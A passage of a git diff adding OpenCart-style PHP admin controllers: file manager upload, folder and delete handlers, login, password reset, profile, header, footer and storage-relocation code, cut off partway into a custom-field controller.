+ $this->load->language('common/filemanager');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'common/filemanager')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ // Make sure we have the correct directory
+ if (isset($this->request->get['directory'])) {
+ $directory = rtrim(DIR_IMAGE . 'catalog/' . $this->request->get['directory'], '/');
+ } else {
+ $directory = DIR_IMAGE . 'catalog';
+ }
+
+ // Check its a directory
+ if (!is_dir($directory) || utf8_substr(str_replace('\\', '/', realpath($directory)), 0, utf8_strlen(DIR_IMAGE . 'catalog')) != str_replace('\\', '/', DIR_IMAGE . 'catalog')) {
+ $json['error'] = $this->language->get('error_directory');
+ }
+
+ if (!$json) {
+ // Check if multiple files are uploaded or just one
+ $files = array();
+
+ if (!empty($this->request->files['file']['name']) && is_array($this->request->files['file']['name'])) {
+ foreach (array_keys($this->request->files['file']['name']) as $key) {
+ $files[] = array(
+ 'name' => $this->request->files['file']['name'][$key],
+ 'type' => $this->request->files['file']['type'][$key],
+ 'tmp_name' => $this->request->files['file']['tmp_name'][$key],
+ 'error' => $this->request->files['file']['error'][$key],
+ 'size' => $this->request->files['file']['size'][$key]
+ );
+ }
+ }
+
+ foreach ($files as $file) {
+ if (is_file($file['tmp_name'])) {
+ // Sanitize the filename
+ $filename = $this->basename_fixed(html_entity_decode($file['name'], ENT_QUOTES, 'UTF-8'));
+
+ // Validate the filename length
+ if ((utf8_strlen($filename) < 3) || (utf8_strlen($filename) > 255)) {
+ $json['error'] = $this->language->get('error_filename');
+ }
+
+ // Allowed file extension types
+ $allowed = array(
+ 'jpg',
+ 'jpeg',
+ 'gif',
+ 'png'
+ );
+
+ if (!in_array(utf8_strtolower(utf8_substr(strrchr($filename, '.'), 1)), $allowed)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Allowed file mime types
+ $allowed = array(
+ 'image/jpeg',
+ 'image/pjpeg',
+ 'image/png',
+ 'image/x-png',
+ 'image/gif'
+ );
+
+ if (!in_array($file['type'], $allowed)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ if ($file['size'] > $this->config->get('config_file_max_size')) {
+ $json['error'] = $this->language->get('error_filesize');
+ }
+
+ // Return any upload error
+ if ($file['error'] != UPLOAD_ERR_OK) {
+ $json['error'] = $this->language->get('error_upload_' . $file['error']);
+ }
+ } else {
+ $json['error'] = $this->language->get('error_upload');
+ }
+
+ if (!$json) {
+ move_uploaded_file($file['tmp_name'], $directory . '/' . $filename);
+ }
+ }
+ }
+
+ if (!$json) {
+ $json['success'] = $this->language->get('text_uploaded');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function folder() {
+ $this->load->language('common/filemanager');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'common/filemanager')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ // Make sure we have the correct directory
+ if (isset($this->request->get['directory'])) {
+ $directory = rtrim(DIR_IMAGE . 'catalog/' . $this->request->get['directory'], '/');
+ } else {
+ $directory = DIR_IMAGE . 'catalog';
+ }
+
+ // Check its a directory
+ if (!is_dir($directory) || utf8_substr(str_replace('\\', '/', realpath($directory)), 0, utf8_strlen(DIR_IMAGE . 'catalog')) != str_replace('\\', '/', DIR_IMAGE . 'catalog')) {
+ $json['error'] = $this->language->get('error_directory');
+ }
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST') {
+ // Sanitize the folder name
+ $folder = $this->basename_fixed(html_entity_decode($this->request->post['folder'], ENT_QUOTES, 'UTF-8'));
+
+ // Validate the filename length
+ if ((utf8_strlen($folder) < 3) || (utf8_strlen($folder) > 128)) {
+ $json['error'] = $this->language->get('error_folder');
+ }
+
+ // Check if directory already exists or not
+ if (is_dir($directory . '/' . $folder)) {
+ $json['error'] = $this->language->get('error_exists');
+ }
+ }
+
+ if (!isset($json['error'])) {
+ mkdir($directory . '/' . $folder, 0777);
+ chmod($directory . '/' . $folder, 0777);
+
+ @touch($directory . '/' . $folder . '/' . 'index.html');
+
+ $json['success'] = $this->language->get('text_directory');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function delete() {
+ $this->load->language('common/filemanager');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'common/filemanager')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (isset($this->request->post['path'])) {
+ $paths = $this->request->post['path'];
+ } else {
+ $paths = array();
+ }
+
+ // Loop through each path to run validations
+ foreach ($paths as $path) {
+ // Check path exsists
+ if ($path == DIR_IMAGE . 'catalog' || utf8_substr(str_replace('\\', '/', realpath(DIR_IMAGE . $path)), 0, utf8_strlen(DIR_IMAGE . 'catalog')) != str_replace('\\', '/', DIR_IMAGE . 'catalog')) {
+ $json['error'] = $this->language->get('error_delete');
+
+ break;
+ }
+ }
+
+ if (!$json) {
+ // Loop through each path
+ foreach ($paths as $path) {
+ $path = rtrim(DIR_IMAGE . $path, '/');
+
+ // If path is just a file delete it
+ if (is_file($path)) {
+ unlink($path);
+
+ // If path is a directory beging deleting each file and sub folder
+ } elseif (is_dir($path)) {
+ $files = array();
+
+ // Make path into an array
+ $path = array($path);
+
+ // While the path array is still populated keep looping through
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach (glob($next) as $file) {
+ // If directory add to path array
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ // Add the file to the files to be deleted array
+ $files[] = $file;
+ }
+ }
+
+ // Reverse sort the file array
+ rsort($files);
+
+ foreach ($files as $file) {
+ // If file just delete
+ if (is_file($file)) {
+ unlink($file);
+
+ // If directory use the remove directory function
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+ }
+ }
+
+ $json['success'] = $this->language->get('text_delete');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/common/footer.php b/public/admin/controller/common/footer.php
new file mode 100644
index 0000000..db9de15
--- /dev/null
+++ b/public/admin/controller/common/footer.php
@@ -0,0 +1,14 @@
+load->language('common/footer');
+
+ if ($this->user->isLogged() && isset($this->request->get['user_token']) && ($this->request->get['user_token'] == $this->session->data['user_token'])) {
+ $data['text_version'] = sprintf($this->language->get('text_version'), VERSION);
+ } else {
+ $data['text_version'] = '';
+ }
+
+ return $this->load->view('common/footer', $data);
+ }
+}
diff --git a/public/admin/controller/common/forgotten.php b/public/admin/controller/common/forgotten.php
new file mode 100644
index 0000000..914ffa3
--- /dev/null
+++ b/public/admin/controller/common/forgotten.php
@@ -0,0 +1,71 @@
+user->isLogged() && isset($this->request->get['user_token']) && ($this->request->get['user_token'] == $this->session->data['user_token'])) {
+ $this->response->redirect($this->url->link('common/dashboard', '', true));
+ }
+
+ if (!$this->config->get('config_password')) {
+ $this->response->redirect($this->url->link('common/login', '', true));
+ }
+
+ $this->load->language('common/forgotten');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_user_user->editCode($this->request->post['email'], token(40));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('common/login', '', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', '', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('common/forgotten', 'user_token=' . '', true)
+ );
+
+ $data['action'] = $this->url->link('common/forgotten', '', true);
+
+ $data['cancel'] = $this->url->link('common/login', '', true);
+
+ if (isset($this->request->post['email'])) {
+ $data['email'] = $this->request->post['email'];
+ } else {
+ $data['email'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('common/forgotten', $data));
+ }
+
+ protected function validate() {
+ if (!isset($this->request->post['email'])) {
+ $this->error['warning'] = $this->language->get('error_email');
+ } elseif (!$this->model_user_user->getTotalUsersByEmail($this->request->post['email'])) {
+ $this->error['warning'] = $this->language->get('error_email');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/common/header.php b/public/admin/controller/common/header.php
new file mode 100644
index 0000000..bd233c2
--- /dev/null
+++ b/public/admin/controller/common/header.php
@@ -0,0 +1,91 @@
+document->getTitle();
+
+ if ($this->request->server['HTTPS']) {
+ $data['base'] = HTTPS_SERVER;
+ } else {
+ $data['base'] = HTTP_SERVER;
+ }
+
+ $data['description'] = $this->document->getDescription();
+ $data['keywords'] = $this->document->getKeywords();
+ $data['links'] = $this->document->getLinks();
+ $data['styles'] = $this->document->getStyles();
+ $data['scripts'] = $this->document->getScripts();
+ $data['lang'] = $this->language->get('code');
+ $data['direction'] = $this->language->get('direction');
+
+ $this->load->language('common/header');
+
+ $data['text_logged'] = sprintf($this->language->get('text_logged'), $this->user->getUserName());
+
+ if (!isset($this->request->get['user_token']) || !isset($this->session->data['user_token']) || ($this->request->get['user_token'] != $this->session->data['user_token'])) {
+ $data['logged'] = '';
+
+ $data['home'] = $this->url->link('common/login', '', true);
+ } else {
+ $data['logged'] = true;
+
+ $data['home'] = $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true);
+ $data['logout'] = $this->url->link('common/logout', 'user_token=' . $this->session->data['user_token'], true);
+ $data['profile'] = $this->url->link('common/profile', 'user_token=' . $this->session->data['user_token'], true);
+ $data['new_category'] = $this->url->link('catalog/category/add', 'user_token=' . $this->session->data['user_token'], true);
+ $data['new_customer'] = $this->url->link('user/user/add', 'user_token=' . $this->session->data['user_token'], true);
+ $data['new_download'] = $this->url->link('catalog/download/add', 'user_token=' . $this->session->data['user_token'], true);
+ $data['new_manufacturer'] = $this->url->link('catalog/manufacturer/add', 'user_token=' . $this->session->data['user_token'], true);
+ $data['new_product'] = $this->url->link('catalog/product/add', 'user_token=' . $this->session->data['user_token'], true);
+
+ $this->load->model('user/user');
+
+ $this->load->model('tool/image');
+
+ $user_info = $this->model_user_user->getUser($this->user->getId());
+
+ if ($user_info) {
+ $data['firstname'] = $user_info['firstname'];
+ $data['lastname'] = $user_info['lastname'];
+ $data['username'] = $user_info['username'];
+ $data['user_group'] = $user_info['user_group'];
+
+ if (is_file(DIR_IMAGE . $user_info['image'])) {
+ $data['image'] = $this->model_tool_image->resize($user_info['image'], 45, 45);
+ } else {
+ $data['image'] = $this->model_tool_image->resize('profile.png', 45, 45);
+ }
+ } else {
+ $data['firstname'] = '';
+ $data['lastname'] = '';
+ $data['user_group'] = '';
+ $data['image'] = '';
+ }
+
+ // Online Stores
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'name' => $this->config->get('config_name'),
+ 'href' => HTTP_CATALOG
+ );
+
+ $this->load->model('setting/store');
+
+ $results = $this->model_setting_store->getStores();
+
+ foreach ($results as $result) {
+ $data['stores'][] = array(
+ 'name' => $result['name'],
+ 'href' => $result['url']
+ );
+ }
+ }
+
+ $data['search'] = $this->load->controller('search/search');
+
+ return $this->load->view('common/header', $data);
+ }
+}
diff --git a/public/admin/controller/common/login.php b/public/admin/controller/common/login.php
new file mode 100644
index 0000000..aaa902c
--- /dev/null
+++ b/public/admin/controller/common/login.php
@@ -0,0 +1,115 @@
+load->language('common/login');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ if ($this->user->isLogged() && isset($this->request->get['user_token']) && ($this->request->get['user_token'] == $this->session->data['user_token'])) {
+ $this->response->redirect($this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->session->data['user_token'] = token(32);
+
+ if (isset($this->request->post['redirect']) && (strpos($this->request->post['redirect'], HTTP_SERVER) === 0 || strpos($this->request->post['redirect'], HTTPS_SERVER) === 0)) {
+ $this->response->redirect($this->request->post['redirect'] . '&user_token=' . $this->session->data['user_token']);
+ } else {
+ $this->response->redirect($this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true));
+ }
+ }
+
+ if ((isset($this->session->data['user_token']) && !isset($this->request->get['user_token'])) || ((isset($this->request->get['user_token']) && (isset($this->session->data['user_token']) && ($this->request->get['user_token'] != $this->session->data['user_token']))))) {
+ $this->error['warning'] = $this->language->get('error_token');
+ }
+
+ if (isset($this->error['error_attempts'])) {
+ $data['error_warning'] = $this->error['error_attempts'];
+ } elseif (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $data['action'] = $this->url->link('common/login', '', true);
+
+ if (isset($this->request->post['username'])) {
+ $data['username'] = $this->request->post['username'];
+ } else {
+ $data['username'] = '';
+ }
+
+ if (isset($this->request->post['password'])) {
+ $data['password'] = $this->request->post['password'];
+ } else {
+ $data['password'] = '';
+ }
+
+ if (isset($this->request->get['route'])) {
+ $route = $this->request->get['route'];
+
+ unset($this->request->get['route']);
+ unset($this->request->get['user_token']);
+
+ $url = '';
+
+ if ($this->request->get) {
+ $url .= http_build_query($this->request->get);
+ }
+
+ $data['redirect'] = $this->url->link($route, $url, true);
+ } else {
+ $data['redirect'] = '';
+ }
+
+ if ($this->config->get('config_password')) {
+ $data['forgotten'] = $this->url->link('common/forgotten', '', true);
+ } else {
+ $data['forgotten'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('common/login', $data));
+ }
+
+ protected function validate() {
+ if(!isset($this->request->post['username']) || !isset($this->request->post['password']) || !$this->request->post['username'] || !$this->request->post['password']) {
+ $this->error['warning'] = $this->language->get('error_login');
+ } else {
+ $this->load->model('user/user');
+
+ // Check how many login attempts have been made.
+ $login_info = $this->model_user_user->getLoginAttempts($this->request->post['username']);
+
+ if ($login_info && ($login_info['total'] >= $this->config->get('config_login_attempts')) && strtotime('-1 hour') < strtotime($login_info['date_modified'])) {
+ $this->error['error_attempts'] = $this->language->get('error_attempts');
+ }
+ }
+
+ if(!$this->error) {
+ if (!$this->user->login($this->request->post['username'], html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8'))) {
+ $this->error['warning'] = $this->language->get('error_login');
+
+ $this->model_user_user->addLoginAttempt($this->request->post['username']);
+
+ unset($this->session->data['user_token']);
+ } else {
+ $this->model_user_user->deleteLoginAttempts($this->request->post['username']);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/common/logout.php b/public/admin/controller/common/logout.php
new file mode 100644
index 0000000..d12ddf1
--- /dev/null
+++ b/public/admin/controller/common/logout.php
@@ -0,0 +1,10 @@
+user->logout();
+
+ unset($this->session->data['user_token']);
+
+ $this->response->redirect($this->url->link('common/login', '', true));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/common/profile.php b/public/admin/controller/common/profile.php
new file mode 100644
index 0000000..5b08f60
--- /dev/null
+++ b/public/admin/controller/common/profile.php
@@ -0,0 +1,211 @@
+load->language('common/profile');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $user_data = array_merge($this->request->post, array(
+ 'user_group_id' => $this->user->getGroupId(),
+ 'status' => 1,
+ ));
+
+ $this->model_user_user->editUser($this->user->getId(), $user_data);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('common/profile', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['username'])) {
+ $data['error_username'] = $this->error['username'];
+ } else {
+ $data['error_username'] = '';
+ }
+
+ if (isset($this->error['password'])) {
+ $data['error_password'] = $this->error['password'];
+ } else {
+ $data['error_password'] = '';
+ }
+
+ if (isset($this->error['confirm'])) {
+ $data['error_confirm'] = $this->error['confirm'];
+ } else {
+ $data['error_confirm'] = '';
+ }
+
+ if (isset($this->error['firstname'])) {
+ $data['error_firstname'] = $this->error['firstname'];
+ } else {
+ $data['error_firstname'] = '';
+ }
+
+ if (isset($this->error['lastname'])) {
+ $data['error_lastname'] = $this->error['lastname'];
+ } else {
+ $data['error_lastname'] = '';
+ }
+
+ if (isset($this->error['email'])) {
+ $data['error_email'] = $this->error['email'];
+ } else {
+ $data['error_email'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('common/profile', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('common/profile', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true);
+
+ if ($this->request->server['REQUEST_METHOD'] != 'POST') {
+ $user_info = $this->model_user_user->getUser($this->user->getId());
+ }
+
+ if (isset($this->request->post['username'])) {
+ $data['username'] = $this->request->post['username'];
+ } elseif (!empty($user_info)) {
+ $data['username'] = $user_info['username'];
+ } else {
+ $data['username'] = '';
+ }
+
+ if (isset($this->request->post['password'])) {
+ $data['password'] = $this->request->post['password'];
+ } else {
+ $data['password'] = '';
+ }
+
+ if (isset($this->request->post['confirm'])) {
+ $data['confirm'] = $this->request->post['confirm'];
+ } else {
+ $data['confirm'] = '';
+ }
+
+ if (isset($this->request->post['firstname'])) {
+ $data['firstname'] = $this->request->post['firstname'];
+ } elseif (!empty($user_info)) {
+ $data['firstname'] = $user_info['firstname'];
+ } else {
+ $data['firstname'] = '';
+ }
+
+ if (isset($this->request->post['lastname'])) {
+ $data['lastname'] = $this->request->post['lastname'];
+ } elseif (!empty($user_info)) {
+ $data['lastname'] = $user_info['lastname'];
+ } else {
+ $data['lastname'] = '';
+ }
+
+ if (isset($this->request->post['email'])) {
+ $data['email'] = $this->request->post['email'];
+ } elseif (!empty($user_info)) {
+ $data['email'] = $user_info['email'];
+ } else {
+ $data['email'] = '';
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($user_info)) {
+ $data['image'] = $user_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($user_info) && $user_info['image'] && is_file(DIR_IMAGE . $user_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($user_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('common/profile', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'common/profile')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['username']) < 3) || (utf8_strlen($this->request->post['username']) > 20)) {
+ $this->error['username'] = $this->language->get('error_username');
+ }
+
+ $user_info = $this->model_user_user->getUserByUsername($this->request->post['username']);
+
+ if ($user_info && ($this->user->getId() != $user_info['user_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists_username');
+ }
+
+ if ((utf8_strlen(trim($this->request->post['firstname'])) < 1) || (utf8_strlen(trim($this->request->post['firstname'])) > 32)) {
+ $this->error['firstname'] = $this->language->get('error_firstname');
+ }
+
+ if ((utf8_strlen(trim($this->request->post['lastname'])) < 1) || (utf8_strlen(trim($this->request->post['lastname'])) > 32)) {
+ $this->error['lastname'] = $this->language->get('error_lastname');
+ }
+
+ if ((utf8_strlen($this->request->post['email']) > 96) || !filter_var($this->request->post['email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['email'] = $this->language->get('error_email');
+ }
+
+ $user_info = $this->model_user_user->getUserByEmail($this->request->post['email']);
+
+ if ($user_info && ($this->user->getId() != $user_info['user_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists_email');
+ }
+
+ if ($this->request->post['password']) {
+ if ((utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) < 4) || (utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) > 40)) {
+ $this->error['password'] = $this->language->get('error_password');
+ }
+
+ if ($this->request->post['password'] != $this->request->post['confirm']) {
+ $this->error['confirm'] = $this->language->get('error_confirm');
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/common/reset.php b/public/admin/controller/common/reset.php
new file mode 100644
index 0000000..e9848c1
--- /dev/null
+++ b/public/admin/controller/common/reset.php
@@ -0,0 +1,103 @@
+user->isLogged() && isset($this->request->get['user_token']) && ($this->request->get['user_token'] == $this->session->data['user_token'])) {
+ $this->response->redirect($this->url->link('common/dashboard', '', true));
+ }
+
+ if (!$this->config->get('config_password')) {
+ $this->response->redirect($this->url->link('common/login', '', true));
+ }
+
+ if (isset($this->request->get['code'])) {
+ $code = $this->request->get['code'];
+ } else {
+ $code = '';
+ }
+
+ $this->load->model('user/user');
+
+ $user_info = $this->model_user_user->getUserByCode($code);
+
+ if ($user_info) {
+ $this->load->language('common/reset');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_user_user->editPassword($user_info['user_id'], $this->request->post['password']);
+
+ $this->model_user_user->deleteLoginAttempts($user_info['username']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('common/login', '', true));
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', '', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('common/reset', '', true)
+ );
+
+ if (isset($this->error['password'])) {
+ $data['error_password'] = $this->error['password'];
+ } else {
+ $data['error_password'] = '';
+ }
+
+ if (isset($this->error['confirm'])) {
+ $data['error_confirm'] = $this->error['confirm'];
+ } else {
+ $data['error_confirm'] = '';
+ }
+
+ $data['action'] = $this->url->link('common/reset', 'code=' . $code, true);
+
+ $data['cancel'] = $this->url->link('common/login', '', true);
+
+ if (isset($this->request->post['password'])) {
+ $data['password'] = $this->request->post['password'];
+ } else {
+ $data['password'] = '';
+ }
+
+ if (isset($this->request->post['confirm'])) {
+ $data['confirm'] = $this->request->post['confirm'];
+ } else {
+ $data['confirm'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('common/reset', $data));
+ } else {
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSettingValue('config', 'config_password', '0');
+
+ return new Action('common/login');
+ }
+ }
+
+ protected function validate() {
+ if ((utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) < 4) || (utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) > 40)) {
+ $this->error['password'] = $this->language->get('error_password');
+ }
+
+ if ($this->request->post['confirm'] != $this->request->post['password']) {
+ $this->error['confirm'] = $this->language->get('error_confirm');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/common/security.php b/public/admin/controller/common/security.php
new file mode 100644
index 0000000..5d8c367
--- /dev/null
+++ b/public/admin/controller/common/security.php
@@ -0,0 +1,143 @@
+load->language('common/security');
+
+ $data['text_instruction'] = $this->language->get('text_instruction');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['storage'] = DIR_SYSTEM . 'storage/';
+
+ $path = '';
+
+ $data['paths'] = array();
+
+ $parts = explode('/', str_replace('\\', '/', rtrim(DIR_SYSTEM, '/')));
+
+ foreach ($parts as $part) {
+ $path .= $part . '/';
+
+ $data['paths'][] = $path;
+ }
+
+ rsort($data['paths']);
+
+ $data['document_root'] = str_replace('\\', '/', realpath($this->request->server['DOCUMENT_ROOT'] . '/../') . '/');
+
+ return $this->load->view('common/security', $data);
+ }
+
+ public function move() {
+ $this->load->language('common/security');
+
+ $json = array();
+
+ if ($this->request->post['path']) {
+ $path = $this->request->post['path'];
+ } else {
+ $path = '';
+ }
+
+ if ($this->request->post['directory']) {
+ $directory = $this->request->post['directory'];
+ } else {
+ $directory = '';
+ }
+
+ if (!$this->user->hasPermission('modify', 'common/security')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ if (DIR_STORAGE != DIR_SYSTEM . 'storage/') {
+ $data['error'] = $this->language->get('error_path');
+ }
+
+ if (!$path || str_replace('\\', '/', realpath($path)) . '/' != str_replace('\\', '/', substr(DIR_SYSTEM, 0, strlen($path)))) {
+ $json['error'] = $this->language->get('error_path');
+ }
+
+ if (!$directory || !preg_match('/^[a-zA-Z0-9_-]+$/', $directory)) {
+ $json['error'] = $this->language->get('error_directory');
+ }
+
+ if (is_dir($path . $directory)) {
+ $json['error'] = $this->language->get('error_exists');
+ }
+
+ if (!is_writable(realpath(DIR_APPLICATION . '/../') . '/config.php') || !is_writable(DIR_APPLICATION . 'config.php')) {
+ $json['error'] = $this->language->get('error_writable');
+ }
+
+ if (!$json) {
+ $files = array();
+
+ // Make path into an array
+ $source = array(DIR_SYSTEM . 'storage/');
+
+ // While the path array is still populated keep looping through
+ while (count($source) != 0) {
+ $next = array_shift($source);
+
+ foreach (glob($next) as $file) {
+ // If directory add to path array
+ if (is_dir($file)) {
+ $source[] = $file . '/*';
+ }
+
+ // Add the file to the files to be deleted array
+ $files[] = $file;
+ }
+ }
+
+ // Create the new storage folder
+ if (!is_dir($path . $directory)) {
+ mkdir($path . $directory, 0777);
+ }
+
+ // Copy the
+ foreach ($files as $file) {
+ $destination = $path . $directory . substr($file, strlen(DIR_SYSTEM . 'storage/'));
+
+ if (is_dir($file) && !is_dir($destination)) {
+ mkdir($destination, 0777);
+ }
+
+ if (is_file($file)) {
+ copy($file, $destination);
+ }
+ }
+
+ // Modify the config files
+ $files = array(
+ DIR_APPLICATION . 'config.php',
+ realpath(DIR_APPLICATION . '/../') . '/config.php'
+ );
+
+ foreach ($files as $file) {
+ $output = '';
+
+ $lines = file($file);
+
+ foreach ($lines as $line_id => $line) {
+ if (strpos($line, 'define(\'DIR_STORAGE') !== false) {
+ $output .= 'define(\'DIR_STORAGE\', \'' . $path . $directory . '/\');' . "\n";
+ } else {
+ $output .= $line;
+ }
+ }
+
+ $file = fopen($file, 'w');
+
+ fwrite($file, $output);
+
+ fclose($file);
+ }
+
+ $json['success'] = $this->language->get('text_success');
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/customer/custom_field.php b/public/admin/controller/customer/custom_field.php
new file mode 100644
index 0000000..455f867
--- /dev/null
+++ b/public/admin/controller/customer/custom_field.php
@@ -0,0 +1,498 @@
+load->language('customer/custom_field');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/custom_field');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('customer/custom_field');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/custom_field');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_customer_custom_field->addCustomField($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('customer/custom_field');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/custom_field');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_customer_custom_field->editCustomField($this->request->get['custom_field_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
